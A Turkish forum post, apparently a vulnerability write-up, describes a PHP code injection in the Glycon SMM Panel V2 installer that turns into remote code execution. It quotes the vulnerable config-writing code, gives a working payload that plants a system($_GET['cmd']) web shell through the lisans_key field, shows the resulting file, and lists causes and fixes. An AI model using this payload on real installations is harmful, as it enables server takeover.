Conrado Sol
- 29 Nis 2026
- 62 Mesaj
Aktiflik
Seviye
Deneyim
Herkese merhaba,
Bu konuda Glycon SMM Panel V2 içerisinde bulunan Remote Code Execution (RCE) zafiyetini, oluşma nedenini ve sömürülebilir hale gelişini anlatacağım.
Kurulum tamamlandığında aşağıdaki dosyalar silinir:
Bu nedenle test aşaması kurulumdan önce yapılmalıdır.
Kurulum ekranında doğrulama eksikliği bulunduğunda manipüle edilmiş veri gönderimi mümkün hale gelir.
Örnek payload:
Oluşan çıktı:
Bu durumda enjekte edilen PHP kodu çalıştırılabilir hale gelir.
- PHP Code Injection
Sonuç olarak:
- Remote Code Execution (RCE)
seviyesine yükselmektedir.
Aynı yapı nedeniyle aşağıdaki alanlar da risklidir:
db_host
db_name
db_user
db_pass
lisans_key
String concatenation ile PHP kod üretimi
Escape işlemi yapılmaması
Config dosyasının PHP olarak generate edilmesi
PHP yerine .env / JSON / INI kullanımı
var_export() ile güvenli değer yazımı
Özel karakterlerin sanitize edilmesi
Bu zafiyet temel olarak kullanıcı girdisinin filtrelenmeden PHP koduna gömülmesi nedeniyle oluşmaktadır.
Başlangıçta PHP Code Injection olan problem, çalışma anında RCE’ye dönüşmektedir.
Bu konuda Glycon SMM Panel V2 içerisinde bulunan Remote Code Execution (RCE) zafiyetini, oluşma nedenini ve sömürülebilir hale gelişini anlatacağım.
Kurulum Ön Koşulu
Zafiyetin tetiklenebilmesi için kurulumun tamamlanmamış olması gerekir.Kurulum tamamlandığında aşağıdaki dosyalar silinir:
PHP:
unlink("mysql_sql");
unlink("error_log");
unlink("install.php");
unlink("database.sql");
Bu nedenle test aşaması kurulumdan önce yapılmalıdır.
Kurulum Bilgileri (XAMPP)
Kod:
username = root
password = (boş)
db = test / glycon
host = 127.0.0.1
Kurulum ekranında doğrulama eksikliği bulunduğunda manipüle edilmiş veri gönderimi mümkün hale gelir.
Zafiyetin Kaynağı
Sorun, kullanıcıdan alınan verilerin hiçbir filtreleme veya escape işlemi yapılmadan doğrudan PHP dosyasına yazılmasıdır.
PHP:
$lsynkey = $_POST["lisans_key"];
$config_file = fopen('Glycon.php', 'w');
fwrite($config_file, "<?php
define('LISANCEKEY', '$lsynkey');
define('SITEURLS', '$url');
define('DBHOSTS', '$db_host');
define('DBNAMES', '$db_name');
define('DBUSERS', '$db_user');
define('DBPASSS', '$db_pass');
");
Exploit Mantığı
Kritik problem, tek tırnak karakterinin escape edilmemesidir.Örnek payload:
Kod:
lisans_key=');system($_GET["cmd"]);//
Oluşan çıktı:
Kod:
<?php
define('LISANCEKEY', '');system($_GET["cmd"]);//');
define('SITEURLS', 'https://localhost/');
Bu durumda enjekte edilen PHP kodu çalıştırılabilir hale gelir.
Zafiyet Türü
- PHP Code Injection
Sonuç olarak:
- Remote Code Execution (RCE)
seviyesine yükselmektedir.
Etkilenen Parametreler
Aynı yapı nedeniyle aşağıdaki alanlar da risklidir:
db_host
db_name
db_user
db_pass
lisans_key
Güvenlik Açığı Sebepleri
User input validation yokString concatenation ile PHP kod üretimi
Escape işlemi yapılmaması
Config dosyasının PHP olarak generate edilmesi
Önlem
Input validation (whitelist yaklaşımı)PHP yerine .env / JSON / INI kullanımı
var_export() ile güvenli değer yazımı
Özel karakterlerin sanitize edilmesi
Bu zafiyet temel olarak kullanıcı girdisinin filtrelenmeden PHP koduna gömülmesi nedeniyle oluşmaktadır.
Başlangıçta PHP Code Injection olan problem, çalışma anında RCE’ye dönüşmektedir.



